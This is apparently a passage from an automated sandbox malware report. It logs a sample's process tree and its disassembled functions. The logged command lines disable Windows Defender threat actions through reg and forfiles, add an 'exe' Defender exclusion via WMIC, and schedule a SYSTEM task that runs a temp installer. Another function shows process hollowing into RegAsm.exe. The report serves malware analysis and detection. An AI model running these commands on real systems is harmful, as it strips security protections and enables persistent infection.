File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	18:53:35
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	18:53:35
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Imagebase:	0xc30000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	18:53:36
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	18:53:36
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Imagebase:	0x470000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	18:53:36
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Imagebase:	0xc30000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	18:53:36
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Imagebase:	0x470000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Imagebase:	0xc30000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 7916 -ip 7916
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Imagebase:	0x470000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 744
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Imagebase:	0xc30000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	18:53:37
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Imagebase:	0x470000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	18:53:38
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Imagebase:	0xc30000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	18:53:38
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	18:53:38
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell start-process -WindowStyle Hidden gpupdate.exe /force
Imagebase:	0xe40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	18:53:38
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 7916 -ip 7916
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	18:53:38
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 764
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	18:53:40
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\forfiles.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Imagebase:	0xc30000
File size:	41'472 bytes
MD5 hash:	D95C443851F70F77427B3183B1619DD3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	18:53:40
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	18:53:40
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 7916 -ip 7916
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	18:53:40
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0xc50000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	18:53:40
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 748
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	18:53:41
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0xe40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	18:53:41
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\gpupdate.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\gpupdate.exe" /force
Imagebase:	0xbc0000
File size:	25'088 bytes
MD5 hash:	6DC3720EA74B49C8ED64ACA3E0162AC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	18:53:41
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	18:53:42
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 7916 -ip 7916
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	18:53:42
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\wbem\WMIC.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Imagebase:	0x870000
File size:	427'008 bytes
MD5 hash:	E2DE6500DE1148C7F6027AD50AC8B891
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	18:53:43
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7916 -s 984
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	18:53:43
Start date:	28/09/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Imagebase:	0x360000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	18:53:43
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	schtasks /CREATE /TN "bMvfdBTccYfZYKRCwN" /SC once /ST 18:54:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS2897.tmp\Install.exe\" Is /mKdidL 385121 /S" /V1 /F
Imagebase:	0xd0000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	18:53:43
Start date:	28/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	18:53:43
Start date:	28/09/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 7916 -ip 7916
Imagebase:	0xbb0000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	27.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	30%
Total number of Nodes:	20
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 03022129 Relevance: 42.3, APIs: 10, Strings: 14, Instructions: 282
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0302209B,0302208B), ref: 03022298
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 030222AB
Wow64GetThreadContext.KERNEL32(00000308,00000000), ref: 030222C9
ReadProcessMemory.KERNELBASE(0000030C,?,030220DF,00000004,00000000), ref: 030222ED
VirtualAllocEx.KERNELBASE(0000030C,?,?,00003000,00000040), ref: 03022318
WriteProcessMemory.KERNELBASE(0000030C,00000000,?,?,00000000,?), ref: 03022370
WriteProcessMemory.KERNELBASE(0000030C,00400000,?,?,00000000,?,00000028), ref: 030223BB
WriteProcessMemory.KERNELBASE(0000030C,-00000008,?,00000004,00000000), ref: 030223F9
Wow64SetThreadContext.KERNEL32(00000308,02E60000), ref: 03022435
ResumeThread.KERNELBASE(00000308), ref: 03022444

Strings

VirtualAllocEx, xrefs: 03022229
WriteProcessMemory, xrefs: 0302223C
VirtualAlloc, xrefs: 030221F0
ress, xrefs: 030221B3
GetP, xrefs: 030221AB
Load, xrefs: 03022167
ReadProcessMemory, xrefs: 03022216
GetThreadContext, xrefs: 03022203
TerminateProcess, xrefs: 03022327
aryA, xrefs: 0302216F
ResumeThread, xrefs: 03022265
SetThreadContext, xrefs: 0302224F
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe, xrefs: 03022297
CreateProcessA, xrefs: 030221DD

Memory Dump Source

Source File: 00000000.00000002.1416878994.0000000003021000.00000040.00000800.00020000.00000000.sdmp, Offset: 03021000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3021000_file.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResume
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$CreateProcessA$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2687962208-1257834847
Opcode ID: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction ID: eeb73c8d299df2a1b40b3790da7d12095428fd84e4ef2fb42b5698e7e1b18279
Opcode Fuzzy Hash: 5830fdbf51cd66032c811c655c8f92b1c7674356d546a8de58cf9f8e9e68e0da
Instruction Fuzzy Hash: F9B1E87260124AAFDB60CFA8CC80BDA77A9FF88714F158554EA0CAB341D774FA41CB94

Function 01631260 Relevance: 1.6, APIs: 1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 016312E8

Memory Dump Source

Source File: 00000000.00000002.1416727822.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: cd88d46089dbdb6845616a8dc156a3a2d694c6f0508646950d4c782ac6a74fd3
Instruction ID: 94899fc3dc4d3a68aec97c5be77f5d685fd362cd484a861a8336eeaa231cdfcb
Opcode Fuzzy Hash: cd88d46089dbdb6845616a8dc156a3a2d694c6f0508646950d4c782ac6a74fd3
Instruction Fuzzy Hash: 182125B1D002499FDB10CFAAD980AEEBBF0FF48310F10852AD919A7250C7795941CFA1

Function 01631268 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtectEx.KERNELBASE(?,?,?,?,?), ref: 016312E8

Memory Dump Source

Source File: 00000000.00000002.1416727822.0000000001630000.00000040.00000800.00020000.00000000.sdmp, Offset: 01630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1630000_file.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 254943dfea85824a5e7144a27d7da70a62c60bb34a0b1ef39cee58e549922608
Instruction ID: 083d4aafaea7e3c347f44fb27b9057a6472dfbd7cee8268005c15a483041d217
Opcode Fuzzy Hash: 254943dfea85824a5e7144a27d7da70a62c60bb34a0b1ef39cee58e549922608
Instruction Fuzzy Hash: FF2113B18002499FDB10DFAAC880BDEFBF4FF49310F10842AE919A7240C7756940CBA1

Analysis Process: RegAsm.exePID: 7600, Parent PID: 7500COMMON

Execution Graph

Execution Coverage:	13.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	60.7%
Total number of Nodes:	2000
Total number of Limit Nodes:	60

Executed Functions

Function 004CEF10 Relevance: 67.1, APIs: 16, Strings: 21, Instructions: 2340sleepprocessCOMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004CF133

Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC38
Part of subcall function 0041FBD0: __aulldiv.LIBCMT ref: 0041FC81

__aulldiv.LIBCMT ref: 004CF26D
Sleep.KERNEL32(000000C8,?,?,?), ref: 004CFB61
Sleep.KERNEL32(?), ref: 004CFB8A
GetBinaryTypeA.KERNEL32(00000000,FFFFFFFF), ref: 004CFBB4
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D0070
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D0081
CloseHandle.KERNEL32(?,?,?,?,?,?), ref: 004D008E
GetBinaryTypeA.KERNEL32(?,FFFFFFFF,?), ref: 004D02B0
Sleep.KERNEL32(000000C8), ref: 004D04AD
Sleep.KERNEL32(00000000), ref: 004D04D6
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?,00000000,?,?,00000000,00000000,?), ref: 004D0999
CloseHandle.KERNEL32(?), ref: 004D09AA
CloseHandle.KERNEL32(?), ref: 004D09B7
__aulldiv.LIBCMT ref: 004D1307
ShellExecuteA.SHELL32(00000000,?,?,?,00000000,?), ref: 004D14AC

Part of subcall function 0053F2CA: AcquireSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F2D5
Part of subcall function 0053F2CA: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,-00005B29,?,004315B5,00591F6C,?,00000009,00000000,?,00000000,?,?,?,00000009,00000000), ref: 0053F30F

Part of subcall function 0053F279: AcquireSRWLockExclusive.KERNEL32(0058F970,-00005B29,?,004315E2,00591F6C), ref: 0053F283
Part of subcall function 0053F279: ReleaseSRWLockExclusive.KERNEL32(0058F970,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2B6
Part of subcall function 0053F279: WakeAllConditionVariable.KERNEL32(0058F96C,?,004315E2,00591F6C,?,?,?,?,?,?,?,?,?,?,?,00000009), ref: 0053F2C1

Strings

^, xrefs: 004CFC11
D, xrefs: 004D07C7
9ror, xrefs: 004D0527
wU[, xrefs: 004D10AD
eks, xrefs: 004CF378, 004CFCCD, 004CFDD9, 004D016E, 004D059C, 004D06A8, 004D0AAD, 004D0AF7, 004D1177, 004D11B2, 004D16C6, 004D1710
D, xrefs: 004CFEF8
A, xrefs: 004D0EE2
'HWBI, xrefs: 004D1434
&, xrefs: 004D0CD4
E, xrefs: 004CF819
T, xrefs: 004D02D6
z, xrefs: 004D02D2
{, xrefs: 004D0ED2
9, xrefs: 004D0C16
;, xrefs: 004CFC01
^, xrefs: 004CFC09
C, xrefs: 004CFC0D
U, xrefs: 004D0C26
j3l6lrek, xrefs: 004CF41F, 004CF469, 004CFD74, 004CFDBE, 004CFE80, 004CFECA, 004D0215, 004D025F, 004D0643, 004D068D, 004D074F, 004D0799, 004D0B9E, 004D0BE8, 004D1259, 004D12A3, 004D17B7, 004D1801
U, xrefs: 004D0C22
], xrefs: 004D0C1E

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: __aulldiv$CloseExclusiveHandleLockSleep$AcquireBinaryCreateProcessReleaseType$ConditionExecuteShellVariableWake
String ID: &$'HWBI$9$9ror$;$A$C$D$D$E$T$U$U$]$^$^$eks$j3l6lrek$wU[$z${
API String ID: 469071346-3284442515
Opcode ID: 9154391e67ac971fb8582739fd41ec7ea2c0dda4bd8fc2ebece090c3d88912f2
Instruction ID: de5a6bbad3922364590a7faf60d75379d5ae2a9d52c34c1cd13cc5a3a6b507f1
Opcode Fuzzy Hash: 9154391e67ac971fb8582739fd41ec7ea2c0dda4bd8fc2ebece090c3d88912f2
Instruction Fuzzy Hash: 594345749042688FDB24CB64CC94BEEBBB1BF49308F0481EAD54967341DB786E89CF59

Function 004379C0 Relevance: 43.6, APIs: 2, Strings: 21, Instructions: 3321COMMON

Download Yara Rule

Strings

https://ipinfo.io/, xrefs: 00438405
@.!-%, xrefs: 00438DB3
%KDH@, xrefs: 0043965F
h, xrefs: 00438970
)@Y, xrefs: 0043AB4A
`ock, xrefs: 00439231
!E@U@, xrefs: 004394B9
tqdq, xrefs: 0043908B
y, xrefs: 00438E67
https://ipgeolocation.io/, xrefs: 0043B6FC
@, xrefs: 0043BCE4
T=$, xrefs: 00437FE1
nn, xrefs: 0043ADCE
/, xrefs: 0043B67E
F"'2', xrefs: 00438C0D
$MT, xrefs: 0043AC23
l, xrefs: 00437ECB
m, xrefs: 0043ACB8
#GBWB, xrefs: 004387F4
Content-Type: application/x-www-form-urlencoded, xrefs: 00437BDA, 00437C2F, 00439AC2, 00439B17, 0043AA23
d, xrefs: 00438698

Memory Dump Source

Source File: 00000003.00000002.1687419354.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: nn$!E@U@$#GBWB$$MT$%KDH@$)@Y$/$@$@.!-%$Content-Type: application/x-www-form-urlencoded$F"'2'$T=$$`ock$d$h$https://ipgeolocation.io/$https://ipinfo.io/$l$m$tqdq$y
API String ID: 0-1940023092
Opcode ID: ec7027e56923fcfb80340553c556fedc480cf37fa8749092da21fd92755ee1ba
Instruction ID: b863b8e0ee64934894564ea5ef5374a3dfc230bcc891dfc88ae06bda63f17da5
Opcode Fuzzy Hash: ec7027e56923fcfb80340553c556fedc480cf37fa8749092da21fd92755ee1ba
Instruction Fuzzy Hash: 6E83F270D052A88FDB25CB28CC94BEEBBB1AF89304F0481DAD54D67242CB796E85CF55

Function 004516A0 Relevance: 42.7, APIs: 2, Strings: 21, Instructions: 2466COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 004517B8
__aulldiv.LIBCMT ref: 0045262D

Strings

:, xrefs: 004530F5
:, xrefs: 00452A23
:, xrefs: 00452D8C
:, xrefs: 00453B30
:, xrefs: 004537C7
:, xrefs: 00453C53
:, xrefs: 00453E99
:, xrefs: 00452FD2
:, xrefs: 00453D76
:, xrefs: 00452EAF
:, xrefs: 00452C69
:, xrefs: 0045333B
:, xrefs: 004536A4
:, xrefs: 00453581
:, xrefs: 00453218
:, xrefs: 00453FBC
%, xrefs: 00452699
:, xrefs: 00453A0D
:, xrefs: 00452B46
:::, xrefs: 004538DB
